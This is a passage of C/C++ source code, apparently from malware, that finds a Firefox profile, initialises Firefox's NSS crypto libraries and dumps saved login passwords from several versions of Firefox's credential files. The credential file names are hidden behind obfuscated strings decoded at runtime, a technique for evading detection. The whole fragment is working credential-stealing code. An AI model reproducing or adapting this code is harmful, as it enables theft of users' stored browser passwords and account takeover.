    WCHAR *FFDir = NULL;           //Firefox main installation path

    NSSShutdown = NULL;
    IsNSSInitialized = 0;
    NSSInit = NULL;

    ProfilePath = GetFFProfilePath();

    if (!ProfilePath || !DirectoryExists(ProfilePath)) 
        return 0;
    
    FFDir = GetFFLibPath();

    if (!FFDir || !DirectoryExists(FFDir)) 
        return 0;
    
    if (!InitFFLibs(FFDir))    
        return 0;

    if (!InitializeNSSLibrary(ProfilePath))
        return 0;

    // get the passwords for defferent versions  
    DumpFF(ProfilePath, DeobStringW(L"9Z71519o.LSL"));    // 2.x "signons2.txt"
    DumpFF(ProfilePath, DeobStringW(L"9Z71519n.LSL"));    // 3.0 "signons3.txt"
    DumpSqlFF(ProfilePath, DeobStringW(L"9Z71519.9ByZLI")); // 3.1 3.5 "signons.sqlite"
    DumpJsonFF(ProfilePath, DeobStringW(L"y57Z19.h951")); // 3.1 3.5 "logins.json"

    NSSUnload();
    
    return 0;
}